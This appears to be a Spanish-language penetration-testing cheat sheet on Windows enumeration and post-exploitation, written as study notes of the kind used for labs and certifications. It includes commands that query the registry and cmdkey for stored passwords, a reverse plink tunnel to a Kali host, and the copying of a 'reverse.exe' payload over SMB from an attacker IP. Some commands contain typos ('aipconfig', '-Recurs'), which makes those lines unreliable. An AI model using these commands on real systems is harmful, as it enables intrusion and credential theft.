# Windows Basics

### Enumeración

#### Enumeración del sistema

{% code overflow="wrap" %}

```powershell
systeminfo
systeminfo | findstr /B /C: "OS Name" /C: "OS Version" /C: "System Type"
wmic qfe get Caption, Description, HotFixID, InstalledOn #Muestra actualizaciones del sistema
wmic logicaldisk get caption, description, providername #Muestra discos
```

{% endcode %}

#### Enumeración de usuarios

```powershell
whoami
whoami /priv
whoami /groups
net user
net user <USUARIO>
net localgroup
net localgroup <GRUPO>
```

#### Enumeración de red

```powershell
ip a
ifconfig
route
ip route
aipconfig
ipconfig /all #Información extendida
arp -a
route print
netstat -ano
```

#### Búsqueda de archivos

```powershell
#CMD
where /r c:\ file.txt
#Powershell
Get-ChildItem -Path C:\Myfolder -Filter file.txt -Recurs
```

#### Búsqueda de credenciales

```powershell
#Valores en el registro que contengan la string “password”
reg query HKLM /f password /t REG_SZ /s
#Listar autologon passwords
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
#Lista contraseñas guardadas
cmdkey /list
```

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---looting-for-passwords>" %}

#### Enumeración de antivirus

```powershell
sc query windefend
sc queryex type= service #Lista servicios activos
netsh advfirewall firewall dump
```

#### Enumeración con herramientas automáticas

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20230108>" %}

{% embed url="<https://github.com/bitsadmin/wesng>" %}

### Funciones básicas

#### Descarga de archivos

```powershell
certutil.exe -urlcache -f <URL> <OUTPUT_FILE>
```

#### Comprobación de permisos sobre un archivo

```bash
accesschk.exe /accepteula -quvw <user> <Ruta absoluta del archivo>
```

#### Ejecución de un programa como otro usuario en Powershell&#x20;

{% code overflow="wrap" %}

```powershell
powershell -c "$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential('<USER>', $password);Start-Process -FilePath "<PROGRAM.EXE>" -Credential $creds"
```

{% endcode %}

#### Windows Port Forwarding

{% code overflow="wrap" %}

```powershell
plink.exe -l <KALI_USER> -pw <KALI_USER_PASS> -R <KALI_PORT>:<LOCAL_IP/LOCALHOST_IP>:<LOCAL_PORT> <KALI_IP>
```

{% endcode %}

#### Transferencia de archivos mediante smb

```powershell
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali . #Kali
copy \\10.10.10.10\kali\reverse.exe C:\PrivEsc\reverse.exe #Windows
```

#### Desencriptado GPP

{% code overflow="wrap" %}

```bash
gpp-decrypt "<hash>"
```

{% endcode %}

{% embed url="<https://www.youtube.com/watch?v=I6uN1rNhu8g&t=994s>" %}
